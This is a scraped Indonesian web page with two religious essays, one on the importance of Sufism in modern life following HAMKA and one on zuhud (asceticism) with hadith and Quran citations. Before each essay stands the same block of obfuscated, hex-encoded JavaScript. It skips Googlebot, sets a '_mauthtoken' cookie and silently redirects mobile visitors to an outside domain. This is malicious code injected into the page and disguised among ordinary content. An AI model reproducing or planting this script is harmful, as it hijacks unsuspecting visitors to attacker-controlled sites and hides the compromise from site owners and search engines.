var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

URGENSI TASAWUF DALAM KEHIDUPAN MODERN (Telaah atas Pemikiran Tasawuf HAMKA)

(1)Tasawuf Hamka dapat menjadi solusi alternatif terhadap kebutuhan spiritual dan mampu menjadi instrumen pembinaan moral manusia modern, karena tasawuf merupakan tradisi yang hidup dan kaya dengan doktrin-doktrin metafisis, kosmologis, dan psiko terapi relijius yang dapat menghantarkan kita menuju kesempurnaan dan ketenangan hidup, yang hampir hilang atau bahkan tidak pernah dipelajari oleh manusia modern, (2) Seorang penganut tasawuf modern tidak harus lari dari kehidupan duniawi tetapi justru harus terlibat aktif dalam masyarakat, (3) Mempraktekan tasawuf secara aktif dalam setiap aktifitas manusia modern dan menjadikan tasawuf sebagai alat bantu dalam mengingatkan dan membangunkan orang modern dari tidur spiritualnya yang panjang dan mencampakan nilai-nilai moral yang bersumber dari agama, (4) Tasawuf dapat dipraktekan hanya dalam kerangka syari’ah.

URGENSI TASAWUF DALAM KEHIDUPAN MODERN
Islam adalah agama yang didirikan diatas tiga pilar utama, yaitu: Islam jika memandang pada amal perbuatan, iman jika memandang pada aqidah yang mengerakkan, dan Ihsan jika memandang pada kesempurnaan realisasi dan tujuan dari perpaduan iman dan amal perbuatan. Ketida pilar ini dalam terminologinya bisa jadi mengalami perubahan, termasuk yang paling terkenal yaitu terminology fiqh, Tauhied dan Tasawuf. Akan tetapi sepanjang sejarahnya umat Islam senantiasa berusaha menerapkan ketiga pilar tersebut. Generasi awal Islam adalah mereka yang menyatukan antara keluasan ilmu pengetahuan dan kedekatan diri dengan Allah SWT. Kemudian dari mereka, lahirlah generasi-generasi yang mempunyai kecintaan hati kepada Allah sekaligus ilmu yang dapat menerangi jalan mereka menuju Allah. Mereka adalah ilmuwan (Ulama/Alim) sekaligus pendidik (Murabbun/murabby) dalam waktu yang bersamaan.
Dari sana, terjadi perkembangan yang besar dalam ilmu-ilmu keislaman secara umum, dimulai dengan munculnya lembaga-lembaga pendidikan diantaranya dalam bentuk madrasah-madrasah, pesantren-pesantren dan universitas-universitas yang memperhatikan ilmu-ilmu keislaman. Akan tetapi, sekarang lembaga-lembaga pendidikan tersebut mengalami kemunduran karena mengesampingkan pilar Ihsan atau yang disebut sebagai tasawwuf. Penyebabnya adalah pemisahan antara pengajaran praktis dengan (fungsi) guru dan pendidik, yaitu dengan semakin sulitnya ditemukan guru pendidik sekaligus bisa menjadi teladan moral sebagaimana ulama salaf dahulu.
Makna Tasawwuf
Tasawwuf mempunyai dua makna: makna pertama lebih ditekankan pada usaha mensucikan jiwa, dan bersunggu-sungguh dalam mematuhi Allah dan meneladani Rasulallah SAW. hingga jiwa menjadi bersih dan memantulkan haqiqat dan rahasia ketuhanan. Inilah yang disebut sebagai Ilmu Muamalah dalam menempuh jalan kepada Allah, yaitu dengan memperbaiki dan membingbing hati, memurnikannya untuk Allah dari selain Allah. Tasawuf, dalam makna ini, harus bersumber dari sumber yang suci dan berpijak pada kaidah syariah yang benar. Sebagaimana yang disebutkan oleh seorang tokoh besar Sufi Syekh al Junaid: “Ilmu kita ini terikat dengan Kitab dan Sunnah….”
Makna kedua adalah dzauq dan perasaan hati, atau hasil-hasil kasyaf yang dialami dan dirasakan oleh para salik(penempuh jalan Allah). Makna yang kedua ini adalah husus untuk para pelakunya, tidak bisa diungkapkan atau ditulis atau diisyaratkan, tidak pula dapat dijadikan sebagai hukum syari’at atau argumentasi hukum, juga tidak mungkin dikatakan dalam ungkapan dan bahasa apapun, karena merupakan perasaan hati yang tidak mungkin dapat diuraikan dengan kata-kata. Pada makna yang kedua ini, sebagian guru sufi mengisyaratkan: “perngetahuan kita tentang ini hanyalah isyarat.” Inilah yang disebut dengan Ilmu Mukasyafah, yaitu cahaya yang terpancar dari hati dalam pencapaian pada penyatuan dengan Tuhan Semesta Alam. Bagi seseorang, hendaknya menjalankan tasawuf dengan makna yang pertama, sehingga dapat diraih rahasia makna yang kedua.
Kenapa harus Tasawuf
Islam adalah agama yang menjungjung tinggi peranan akal dan membuka diri terhadap pemikiran-pemikiran baru, serta mendorong intraksi praksis maupun teoritis terhadap fenomena alam. Pada saat yang sama, islam juga menekankan pada keterjagaan hati dan ketulusan rasa dan menjadikan iman sebagai ruh penggerak bagi hati yang dinaungi cinta dan kebaikan sekaligus ditandai dengan kebenaran. Islam bukanlah teori-teori praksis dan ekonomis belaka yang terlepas dari bimbingan ketuhanan. Ia adalah sikap hati yang terbuka lapang, dimana cahaya cinta bersinar dari seluruh dingding-dingdingnya. Hati yang sangat terikat dengan Tuhan yang menciptakannya, senantiasa mencari jejak Sang Pencipta di alam raya ini.
Sebenarnya tidak ada pemisahan antara pemikiran yang tercerahkan dan sikap hati yang terpuji. Validitas pemikiran seyogyanya berjalan seiring dengan validitas tindakan dan sikap. Akan tetapi dalam prakteknya konsep yang sudah menjadi aksioma ini sering terkendala. Tasawuf adalah solusinya. Karena Tasawuf menjawab secara tuntas pertanyaan-pertanyaan seperti: Bagaimana kita menumbuhkan rasa akan keagungan Allah dan sikap khusuk terhadap-Nya? Bagamana kita dapat menghayati keimanan kita sehingga tidak hanya mengambang di permukaan akan tetapi menjadi landasan bertindak dan bersikap? Bagamana mentranformasikan ma’rifat akan Allah untuk mendorong tumbuhnya karakter dan sikap terpuji? Bagaimana seseorang bisa mencintai Allah sehingga secara naluriah akan senantiasa mematuhi dan mencari keridhaan-Nya? Menjadikan kecintaannya kepada Allah sebagai penggerak yang secara otomatis menjauhkan dirinya dari perbuatan maksiat dan durhaka? Dan bagaimana agar seseorang dapat memandang penampakan-penampaka Allah dalam semua ciptaanNya, menyaksikan nama-nama Allah yang baik dalam setiap diam dan gerakan kapan dan dimanapun saja?
Bagaimana Bertasawuf
Tasawuf adalah program pendidikan yang focus pada penyucian jiwa dari segala penyakit yang menghalangi manusia dari Allah SWT. sekaligus meluruskan penyimpangan-penyimpangan kejiwaan dan tindakan dalam masalah yang berkaitan dengan hubungan seorang hamaba denga Tuhannya, dengan dirinya dan dengan orang lain. Ia adalah metode pendidikan ruhani dan praksis untuk mengangkat seseorang ke tingkat ihsan yang dijelaskan oleh Nabi SAW. sebagai; “hendaknya kamu menyembah Allah seakan-akan kamu melihat-Nya, kalau kamu tidak melihat-Nya maka Allah sesungguhnya melihat dirimu.”
Oleh karena itu, orang yang hendak mempelajari tasawuf harus mengambil ilmu ini dari sumbernya yang dipercaya. Dibawah bimbingan seorang guru, menghirup apa yang sang guru hirup, dan melalui tahapan-tahapan yang sang Guru lalui. Syekh Ata’illah al Iskandari berkata: “Orang yang hendak mencari tahu, dan menempuh jalan petunjuk, seyogyanya mencari guru dari kalangan ahli dalam bidang ini, yang telah menempuh jalan petunjuk, dan senatiasa meninggalkan hawa nafsunya, serta mempunyai pijakan yang kuat dalam menghambakan diri kepada Tuhannya. Kalau ketemu, maka hendaklah mematuhi apa yang sang guru perintahkan dan menghindari dari apa yang sang guru larang.”
http://buletinalghadier.blogspot.com/2010/07/urgensi-tasawuf-dalam-kehidupan-modern.html
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Zuhud dalam Islam

Image

Oleh : Dra. Hj. Maryatin, M.Pd

– Dari Abi Abbas Sahi bin Sa’ad as Sa’di Ra berkata : seorang laki-laki datang kepada Nabi SAW dan berkata : wahai Rasulullah tunjukilah aku pada suatu amal yang jika aku kerjakan, aku dicintai Allah dan dicintai manusia maka Rasululah Saw bersabda, Zuhudlah engkan akan dunia, pasti Allah mencintai engkau, zuhudlah engkan akan apa yang ada pada manusia, pasti manusia mencitantai engkau (Ibnu Majah dan lain-lain). 

– Ingatlah bahwa daam jasad itu ada sekarat daging, jika ia baik, baiklah jasad seluruhnya dan jika ia rusak maka rusaklah jasad seluruhnya. Sepotong daging itu adalah hati (Bukhari-Muslim). 

– Obat hati
– Membaca Al-Qur’an dan maknanya
– Shalat malam
– Berkumpul dengan orang-orang shalih
– Perbanyak berpuasa
– Perpangjanglah dzikir malam

– Dari Abu Said Al-Khudry Ra berkata : Rasulullah Saw duduk di atas mimbar dan kami duduk disekitarnya kemudian Nabi Muhammad Saw bersabda, “Sesungguhnya diantara yang aku khawatirkan sepeninggal aku nanti adalah terbuka lebarnya atas kamu kemewahan dan keindahan dunia (Bukhari-Muslim). 

– Ada seorang datang menghadap kepada Rasululah Saw dan berkata : 
“Saya berbai’at kepadamu, ya Rasulullah, untuk berhijrah dan berjihad dengan mengharap pahala dari Allah, “Rasulullah Saw bertanya, “Apakah ada yang masih hidup salah seorang dari ayah bundamu? “Orang itu menjawab, “Bahkan keduanya masih hidup. Rasulullah bersabda, “Engkau mengharap pahala dari Allah? Orang itu menjawab ya, “Nabi Saw bersabda, “Kembalilah kepada kedua orang tuamu dan perbaikilah pelayananmu kepada keduanya (Bukhari-Muslim).

– Dari Abu Hurairah RA berkata: Rasulullah Saw bersabda : “Barang siapa melangkah suatu kesukaran dunia pada seseorang mukmin maka Allah akan baginya kesukaran hari kiamat. Dan barangsiapa meringanan kemiskinan seorang miskin Allah akan meringankan baginya di dunia dan akhirat. Dan barangsiapa menutup aib orang muslim, maka Allah akan menutupi aibnya di dunia dan di akhirat. Allah akan menolong hamba-Nya selama hamba itu menolong saudaranya. Dan barang siapa menempuh jalan untuk menuntut ilmu maka Allah akan memudahkan baginya jalan ke surga. Dan tidak berkumpul suatu kaum dalam Baitullah (masjid untuk membaca dan mempelajari kitab Allah melainkan diturunkan kepada mereka ketenangan dan diliputi rahmat, dikerumuni malaikat dan disebut-sebut oleh Allah di depan para malaikatnya. Dan barang siapa yang lambat alam perbuatannya maka tidak dapat dipercepat oleh nasab (tidak lekas naik derajatnya)” (Bukhari-Muslim). 

– Dan barangsiapa memenuhi hajat saudaranya maka Allah akan melaksanakan hajatnya, dan barangsiapa membebaskan kesusahan seorang muslim maka Allah akan membebaskan di hari kiamat. 

– Takutlah kamu dari doa orang yang teraniaya karena tidak ada dinding antara doa itu dengan Allah (Bukhari-Muslim). 

– Rasulullah saw bersabda “ Orang yang kikir adalah orang yang apabila disebut dihadapannya, orang itu tidak mau bershalawat kepadaku (Tirmidzi). 

– Dari Ibnu Abbas bahwa Rasulullah pernah melihat sahabat memakai cincin emas, lalu beliau mencopot dan membuangnya, lalu berkata, “Seseorang diantara kalian telah memasang bara api neraka di tangannya” (Muslim). 

– Dari Abu Hurairah meriwayatkan bahwa Rasulullah Saw bersabda “Ketika seseorang berjalan dengan sombongnya dan takjub kepada dirinya sendiri dan dengan rambut yang disisir, berlagak dalam jalannya, maka Allah SWT tiba-tiba membenamkannya tanah sehingga turun dan tenggelam sampai hari kiamat (Muttafaq Alaih). 

– Dari Abdulah bin Mas’ud, bahwa Rasulullah bersabda, “Tidak akan masuk surga orang yang dihatinya ada setitik kesombongan (Muslim). 

– Dari Abu Hurairah R.A. berkata : bahwa Rasulullah Saw bersabda : “Barangsiapa percaya pada Allah dan hari kemudian hendaklah ia berkata baik atau diam”. (Bukhari Muslim). 

– Dari Abu Musa R.A berkata : Saya bertanya, “ya Rasulullah siapakah diantara kaum muslimin yang paling utama?” Nabi Saw menjawab : “Siapa yang selamat semua orang Islam dari (kejahatan) Lidah dan Tangannya (bukhari Muslim). 

– Ari Hudzaifah R.A berkata : Rasulullah bersabda, “tidak akan masuk surga orang yang suka mengadu domba” (Bukhari-Muslim). 

– Dari Ibnu Abbas, R.A berkata : Rasulullah saw berjalan melalui dua kuburan maka beliau bersabda, “Sesungguhnya kedua orang dalam kubur ini sedang disiksa padahal keduanya tidak disiksa karena perkara yang besar. Adapun yang satumaka ia biasa berjalan mengadu domba sedang yang kedua tidak menyelesaikan kencingnya (tidak membersihkan bekas kecingnya). 

– Dari Abu Mas’ud R.A berkata : Rasulullah Saw bersabda. “Mencaci maki seorang muslim adalah fasiq (melanggar agama) dan memerangi seorang muslim adalah kafir (Bukhari-Muslim). 

– Dari Jundub bin Abdullah R.A berkata : Rasulullah Saw bersabda, “barang siapa memperdengarkan amalnya kepada orang lain maka Allah akan mempermalukannya di hari kiamat dan barangsiapa yang memperlihatkan amalnya kepada orang lain, maka Allah akan membalas riya’nya itu” (Bukhari Muslim). 

– Allah telah mengharamkan api neraka kepada siapa yang mengucapkan LAA ILAAHA ILLALLAH dengan ikhlas karena Allah (Bukhari Muslim). 

– Orang yang masuk surga tanpa dihisab; “Mereka yang tidak pernah menjampi atau dijampikan dan tida suka menebak nasib dengan perantaraan burung dan kepada Tuhan mereka berserah diri (Tawakal). 

– Dari Sulaiman Bin Shurad R.A berkata : ketika saya duduk bersama Rasulullah Saw, tiba-tiba ada dua orang saling memaki sedang salah satu telah merah wajahnya dan tegang pula urat lehernya maka Rasulullah Saw bersabda, “Saya mengetahui suatu kalimat yang apabila kalimat itu dibaca, pasti hilang apa yang dirasakannya yaitu A’Udzubillahi minasyaitonir rajim” (Bukhari Muslim). 

– Dari Anas Ra. Berkata : Nabi saw bersabda, “Ada 3 perkara yang barangsiapa memilikinya akan merasakan kelezatan iman yaitu jika ia mencintai Allah dan Rasulullah melebihi cintanya kepada yang lain, jika ia mencintai sesama manusia semata-mata karena Allah SWT dan jika enggan kembali kafir setelah diselamatkan Allah dari padanya, sebagaimana ia enggan masuk neraka (Bukhari Muslim). 

– Dari Abu Hurairah RA berkata : Rasulullah Saw bersabda, “Bukanlah kekayaan itu karena banyaknya harta benda tetapi kekayaan yang sebenarnya adalah kekayaan hati” (Bukhari-Muslim).

ZUHUD

Zuhud secara bahasa adalah bertapa di dunia, adapun secara istilah yaitu: Bersedia untuk melakukan ibadah, dengan berupaya semaksimal mungkin menjauhi urusan duniawi, dan hanya mengharapkan keridhoan Allah SWT. Sebagaimana yang di ungkapkan ulama:

مَاقَلَّعَمَلٌبَرَزَمِنْقَلْبِزَاهِدٍ

“Ma Qalla amalun baraza Min qalbin Zaahidin”

(tidak ada amalan kecil yang lebih mulya dari dalam hati seorang yang menjauhi dunia, melainkan berbuat zuhud).

Zuhud dalam aplikasi kehidupannya, mampu melahirkan satu maqam dan cara hidup yang oleh para ahli tasawuf dikatakan sebagai sesuatu yang telah dicapai setelah maqam taubah.

Itu karena, seseorang yang benar-benar zuhud sudah meninggalkan symbol-symbol duniawi setelah benar-benar dia melakukan taubah al-nasuuha, dengan satu pandangan bahwa hidup di dunia tak lebih daripada sebatas permainan dan canda gurau. Seperti dalam al-quran disebutkan:

إِعْلَمُوْاأَنَّمَاالْحَيوةُالدُّنْيَالَعِبٌوَّلَهْوٌ……

[I’lamu annamalhayah al-Dunya La’ibun Wa Lahwun: Al-Haddid:20].

Konsep ini sejajar dengan:

اَلدُّنْياَمَزْرَعَةُاْلاَخِرَةِ

“al-dunya mazra’atun al-aakhirah”:

Dunia sebagai ladang(bekal) di akhirat kelak, difahami bahwa tidak ada keindahan dan ketenangan hakiki melainkan merasa indah dan tenang dengan kenikmatan hidup dalam keadaan iman dan Islam dengan zuhud sebagai pegangan. Orang-orang ini, niscaya dalam hidupnya akan semakin dekat dengan khalik sang pencipta, sebagaimana hadist rasul SAW:

مَنِازْدَادَعِلْمًاوَلَمْيَزْدَدْزُهْدًا     لَمْيَزْدَدْمِنَاللهِاِلاَّبُعْدًا

“Manizdaada ‘ilman, walam yazdad zuhdan, Lam Yazdad Min Allah illaa Bu’dan”

(Barangsiapa yang di anugerahi ilmu oleh Allah, akan tetapi tidak semakin bertambah  ke-zuhud-annya, maka sejatinya orang yang seperti ini bukan bertambah melainkan semakin jauh dari jalan tuhan-Nya).

Seseorang yang secara lahir sukses dalam mempertahankan gelar akademiknya, cemerlang dalam setiap usahanya, dan bertambah keilmuan apabila melihat jam tayangnya(baca: sebagai penceramah;da’i), akan tetapi selalu melakukan perbuatan yang melanggar syari’at, tidak ada keinginan untuk mengurangi perbuatan buruk dan segera memohon taubat kepada-Nya, maka yang demikian ini bukan dekat dengan Tuhannya melainkan semakin jauh dari jalan hidayah Allah SWT.

Orang-orang zuhud selalu berusaha untuk menjauhi perbuatan dan majlis-majlis yang penuh dengan kemungkaran, dan selalu berusaha melakukan amaliyah yang hanya diredhoi Allah SWT, seperti yang dijelaskan oleh ulama:

مَنْعَمِلَاْلاَخِرَةَكَفَاهُاللهُأَمْرَدِيْنِهِوَدُنْيَاهُ

“Man ‘Amila al-Aakhirat Kafahu Allah amra Diinihi Wa Dunyahu”.

Artinya: “Barangsiapa yang melakukan amal perbuatan soleh(bermanfaat untuk akhirat), Maka akan Allah cukupkan segala urusan agama dan dunia-nya”.

Golongan ini, selalu berusaha dalam melaksanakan segala kewajibannya dengan penuh keikhlasan dan tanpa pamrih, karena segala kenikmatan yang ada di dunia ini, besok akan di mintai pertanggung jawabannya kelak di akhirat,

Sebagaimana dalam surah At-takasur ayat 8 dinyatakan:

ثُمَّلَتُسْئَلُنَّيَوْمَئِذٍعَنِالنَّعِيْمِ

Kemudian kamu pasti akan ditanyai pada hari itu tentang kenikmatan (yang kamu megah-megahkan di dunia itu).

Dalam surah lain,an-Naziat ayat 37-39 di jelaskan:

فَأَمَّامَنْطَغىَ , وَءَاثَرَالحْيَوَةَالدُّنْيَا , فَإِنَّالْجَحِيْمَهِيَالْمَأْوَى

Adapun orang yang melampaui batas,Dan lebih mengutamakan kehidupan dunia,Maka Sesungguhnya nerakalah tempat tinggal(nya).

Dalam redaksi yang berbeda juga disebutkan:

مَنْأَرَادَاَنْيَشْرِفَفِىالدُّنْياَوَاْلاَخِرَةِ     فَلْيَخْتَرِاْلاَخِرَةَعَلىَالدُّنْيَااَلْفِتْنَةَ

“Man arada an yasyrifa fi al-dunya wa al-akhirah falyakhtar al-akhirah ‘ala al-dunya[al-fitnah]“.

Artinya:

“Barangsiapa yang menghendaki kemulyaan di dunia serta kebahagiaan di akhirat, maka mereka akan memilih kemulyaan akhirat dan menjauhi dari kenikmatan sesaat di dunia dengan segala bentuk kemaksiatan, kejahatan dan fitnah yang merajalela”.

Hal ini, seandainya mereka diberi kebahagiaan sebagai orang-orang diberi kelebihan rezeki waktu di dunia, maka dengan segera akan menginfaqkan, bersedekah dengan tujuan untuk menggapai ketaatan kepada-Nya, untuk menghindari hal-hal yang dapat mengakibatkan bujukan iblis dan bala tentaranya, secara rinci dijelaskan oleh ulama:

إِنَّالزُّهْدَلَيْسَعِبَارَةُعَنْأَخْلاَءِالْيَدِعَنِالْمَالِ     بَلْهُوَأَخْلاَءُالْقَلْبِعَنِالتَّعَلُّقِبِهِ

“Inna az-zuhda laisa ibaaratun ‘an akhlai al-yadi ‘an al-maal, bal huwa akhlaul qalbi ‘an ta’alluqi bihi”,

Artinya:

“Yang di namakan zuhud itu bukan ibarat orang yang menyembunyikan tangannya dari harta benda(uang, jabatan,wanita), akan tetapi zuhud yaitu menyembunyikan dari perkara yang dapat mengakibatkan kemadharatan atas segala tipu daya dunia yang fana, orang zuhud dalam hatinya terbebas dari sesuatu yang bersifat unsur duniawi, hatinya selalu condong kepada dzat Allah, melaksanakan ketaatan dan dunia hanya dijadikan sebagai perantara untuk menggapai ridho-Nya.

Dalam surah Taha ayat 131 dijelaskan:

وَلاَتَمُدَّنَّعَيْنَيْكَإِلىَمَامَتَّعْنَابِهِأَزْوَاجًامِنْهُمْزَهْرَةَالْحَيَوةِالدُّنْيَالِنَفْتِنَهُمْفِيْهِوَرِزْقُرَبِّكَخَيْرٌوَّأَبْقَى

131. Dan janganlah kamu tujukan kedua matamu kepada apa yang telah Kami berikan kepada golongan-golongan dari mereka, sebagai bunga kehidupan dunia untuk Kami cobai mereka dengannya. dan karunia Tuhan kamu adalah lebih baik dan lebih kekal.

Pengertian zuhud secara lebih luas, sebenarnya bukan meninggalkan kehidupan dunia secara keseluruhan, melainkan tetap mencari penghidupan duniawi, akan tetapi hanya sebatas untuk memenuhi keperluan hidup ala kadarnya, mereka bekerja dengan niat untuk menafkahi keluarga, yang merupakan kewajiban seorang suami atas anak dan istrinya, dan itu semua hanya untuk mencari ridlo-Nya, agar kelak besok lepas dari pertanggung jawaban di akhirat. Hal ini dijelaskan dalam surah al-Qashash ayat 77:

